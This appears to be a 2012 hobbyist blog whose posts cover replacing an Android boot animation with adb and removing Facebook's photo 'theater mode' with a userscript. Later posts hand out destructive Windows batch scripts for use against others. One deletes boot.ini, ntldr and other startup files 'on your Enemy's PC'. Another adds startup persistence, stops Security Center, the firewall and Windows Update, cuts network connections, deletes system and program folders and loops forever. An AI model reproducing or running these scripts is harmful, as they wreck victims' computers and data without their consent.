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Wednesday, March 28, 2012

Change your Android(2.3.4) BootScreen and make it your own Phone


Let's face it: as Android users, we like options. One of the greatest things about this platform is the insane level of customization possible, especially if you don't mind getting your hands a little dirty. With some readily available tools (all of which are extremely free) and the proper knowledge, you can make your android phone do almost anything you could possibly want and make it look however you want. What we'll be talking about today is the bootscreen.
The bootscreen is that animation that plays during your phone's (admittedly long) power-on sequence. It's really easy to switch it out and, provided you've found one you like, I can show you how to change it. After some deliberation, I've decided the best place to start is the beginning.
There are some tools you'll need to have installed before we can start. First off, except in some special cases where the /system/ directory has write access already, you'll need root access. Chances are you can find out all about that by heading over to XDA-Developers and searching for your device in the forums. Once you've done that, you'll need one of two things:
  • A file explorer on the phone that supports root functions. Some popular ones are Root ExplorerSU File Manager, and ES File Explorer.
  • The Android SDK installed on your computer. To install the SDK, follow these instructions:
    1. Download and install the Android SDK. This should also install the USB drivers you'll need.
    2. If it doesn't install the drivers, then follow these steps.
    3. Plug your phone into your computer.
    4. Go to the settings menu. Navigate to Applications>Development>USB Debugging and check that box. 
    5. Using the command prompt on your computer, navigate to the "Platform-tools" folder of the SDK.
    6. Type in "adb devices" (without the quotes) and hit the enter key. If your phone shows up (usually a crazy string of letters and numbers), then you're good to go.
Now let's say you have found a bootscreen that you really like and that matches your phones resolution (that's important). Sometimes they'll package it as a handy flashable .ZIP file that you can simply apply in recovery mode. Most of the time, though, you're going to download a bootanimation.zip file that will have to be installed manually.

TL;DR;

Basically, the idea is that we are going to be putting a new animation on our phone that will run instead of the stock bootscreen and, if we can't manage that, we'll replace the old one with a sucker-free one. We'll do them in order of difficulty. (Bonus points for you if you caught the reference in this section's title)
It is very important for me to note here that, for the purposes of this tutorial, everything is going to be geared toward the HTC Evo because that is the device I'm currently using. It has been brought to our attention that there are some variables across devices. The location of the file may be different on your device.
  • Most devices seem to store their animation is /system/media/
  • My HTC devices all store bootanimation.zip in /system/customize/resource/
  • Some users have reported being able to load bootscreens into /data/local/ which is significant because /data/ is always writable and does NOT REQUIRE ROOT ACCESS. This has not worked on my EVO, Hero, or my friend's Droid Incredible.
If there are any other locations that work or don't work you can let us know in the comments and we'll incorporate them (thanks to all the people who helped me out with this information).

The Root File Explorer Method

This is, by a wide margin, the simplest method and in no way requires a computer. You can download the bootscreen directly to your phone and move it where you need it all on-device.

1. Install The App

Download and install one of the above mentioned root file explorers (Root ExplorerSU File Manager,ES File Explorer) or any other of your choosing. It just has to get root access.

2. Download your boot animation.

I mean...yeah. That's the point, right?

3. Backup (OPTIONAL)

You can either copy the original bootscreen and paste it on your sdcard/computer, or you can rename it bootanimation.bak and leave it in the original directory for safe keeping.

4. Copy/move

Copy the bootanimation.zip to the directory that it belongs in.

5. Reboot. Enjoy.

Reboot. Enjoy.

The Recovery Flash Method

The flashable .zip method is as straight-forward as straight-forward can be:

1. Put the .zip file on your sdcard

2. Boot your phone into the recovery console

3. Select "Flash ZIP from sdcard"

4. Find the .zip file

5. Flash it

6. Enjoy.

The ADB Method (AKA The "Aw, Dang It" Method)

For each phone the location may be a little different, but the idea remains the same. We're going to be swapping the bootanimation.zip that came on the phone with one that doesn't suck. I'll be using a Windows computer to do this on my HTC EVO 4G.
It's pretty simple if you're comfortable with ADB. Even if you're not, though, it's simple enough for you to pick up quickly

1. The Hunt

Find your animation. There are a multitude of places to find them, but I plan on showing a lot in the future, so let's just assume you want this one.
bootanimation-win7-nexus-preview

2. The Name

Rename the .zip file to "bootanimation.zip".

3. The Location

Place this .zip file in the same directory as the SDK's "ADB.exe" file. If you have a recent version of the SDK, this will be in the "platform-tools" directory. On older versions, it will be in the "tools" directory.
sdkdirectories

4. The Commando

Here's where the magic happens: We're now going to the command line or, as I call it, the commando line. That sounds way cooler.

5. Black Ops

Now, we'll navigate to the directory with ADB in it that we talked about earlier. (My Android SDK folder is named "ASDK" for the sake of brevity.)
asdknav

6. Did You Plug It In Right?

Now we're going to run a command to make sure your phone is being recognized by your computer. Type in (without quotes) "adb devices" and hope that some crazy numbers and letter show up.
adbdevices

7. This Is Getting Real

Neat. We're ready to roll. We're now going to mount the system as read/write so we can mess with system files. My favorite method is the simple command "adb remount". Alternatively, you can type in "adb shell" and (on the EVO, as well as most other HTC devices) run the command "mount - o remount,rw -t yaffs2 /dev/block/mtdblock3 /system" then, subsequently, "exit". Well done. You are now the builder and destroyer of Android (provided it told you 'remount succeeded').

8. Back That Thang Up

We're in the home stretch now. Remember how we put the bootanimation.zip in the folder we also have ADB in? Here's why. We are going to back up the old bootanimation.zip then install our new one. The first order order of business is getting into the shell (basically using the command line in the phone using our computer as the window to see it). Type in "adb shell", hit enter, then type "su" and hit enter, just to make sure you're in superuser mode. Then we'll navigate to where the current bootscreen is on the phone. Mine is in /system/customize/resource/ so I'm going to type in "cd /system/customize/resource" then, just to make sure I'm right, I'll type in "ls" and verify the file is there. Now, let's make sure we have a backup in case we do something ridiculous and need to roll back. Type in "mv bootanimation.zip bootanimation.bak. Basically, the old one will sit there and, should we need to, we can rename it back to bootanimation.zip and it will be back to its old self. Issue the exit command until you're out of ADB shell.

9. Do The Deed!

This is it, guys. The final step. We will now issue the magic command:
"adb push bootanimation.zip /system/customize/resource/"

10. You're Done. Turn It Off And Enjoy.

The name of this step is also the entirety of the step. You did it.
While it may seem a little convoluted, this project is easy for beginners and SUPER easy for advanced users. It makes an awesome introduction to ADB and Android modding in general. I hope this helped you out and I look forward to seeing how all you crazy cats use and abuse this information to do hilarious, amazing, and entertaining things.

Saturday, March 10, 2012

Disable Theatre Mode of Facebook Permanently


How to Permanently Disable The Theater Mode on Facebook::::...

Some Facebook users are not happy with the new feature called ‘Theater Mode’. You can simply open the photo in new tab or remove the “&theater” text from the end of the URL to get rid of the Facebook theater mode; another trick is that you can refresh the page to get back the default photo viewer.
If you want to disable the theater mode permanently, here is the step by step instructions:

1. Solution for ‘Chrome’ users:

If you’re using Facebook in your Chrome browser then go to : http://userscripts.org/scripts/show/96773 and there click on install to install the ‘Facebook Photo Theater Killer

A pop-up will ask you to start the installation, just click the ‘Install’ button. (Don’t worry it is safe, even I’m using it)

That’s it ! Now whenever you open photos in Facebook, it will show you all your photos in a normal photo viewer.


2. Solution for ‘Firefox’ users:

If you’re using Facebook on your Firefox browser then you need to install ‘Greasemonkey’ Add-on to use the ‘Facebook Photo Theater Killer’ script.
Simply open Firefox, click on ‘Tools’ & select ‘Add-ons’.
There search for Greasemonkey.

After the search completed, it will show you the Greasemonkey add-on.
Click the ‘Add to Firefox’ button.

A new pop-up window will open, click the ‘Install Now’ button. (It will take less than 1 min to complete the installation process)
After the add-on installed, click the ‘Restart Firefox’. (After restarting Firefox, pop-up window will show you that you’ve installed a new add-on; simply close that)

Now go to : http://userscripts.org/scripts/show/96773 & click the ‘Install’ button to install the ‘Facebook Photo Theater Killer’ script.

A new pop-up will appear, asking you to install the script.
Click the ‘Install’ button as shown in the image below. (It is safe, no need to worry)

After that, on the right side of the taskbar you will see a notification saying that you’ve successfully installed the ‘Facebook Photo Killer
That’s it ! Now whenever you open photos in Facebook, it will show you all your photos in a normal photo viewer.


How to uninstall the script ?
If you want to uninstall the ‘Facebook Photo Theater Killer’ script from the Chrome then simply go to ‘Tools’ & select the ‘Extensions’ as shown in the image below.
There you can disable or uninstall the script easily.
You can also uninstall this script from the Firefox.
Simply, go to ‘Tools’ & select the ‘Add-ons’ as shown in the image below.

Go to ‘User Script’ tab & there you can easily disable or uninstall the script.

If you want to uninstall the Greasemonkey add-on as well then go to ‘Extensions’ tab & there you can disable or uninstall the add-on easily....

Crashing a PC forever

Want a revenge!!! Do this on the your Enemy's PC 3-) 3-)
How to crash a PC Forever :::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**

P.S: Cure is to Format the PC with Windows Bootable Disk (Orignal).... {Smart people must have understood what i mean :P}

Freeze Sumbody's Desktop


Freeze someone's desktop:::


this is a funny trick, u can freeze someone's desktop




1. Close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.


2. Go to paint and click on edit then paste


3. Save this file as (name).bmp and close the paint.


4. Now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.


5. Uncheck all the boxes in desktop icons and press ok. then press apply then ok.


6. Now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name


7. Now go to desktop & select all the icons and right click on them then press cut, go to c: and paste them in the folder dat u created then close the window.


8. Now to put the fake desktop image and remove the taskbar, so right click on desktop and go to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok
now all the icons r fake and the user will think that his desktop is freezed
enjoy it.!

Shut The Internet Permanently


SHUT UR INTERNET PERMANENTLY:::


This is a slightly more advanced one. It shuts down your internet permanently. I tried it on a PC accidently, i knew what it did, and it still took me a couple of days to get my internet back. Works best on XP, not tested on vista or 7.

EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.


@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul
start iexpress (website of your choice)
ipconfig /release
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"
echo ipconfig/release_all>>c:windowswimn32.bat
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
:a
start iexpress (website of your choice)
goto a

save as cyberspirit.bat in notepad then you may run.

P.S : If you're about to format your PC then only try!!! Coz the cure is format itself. ;-)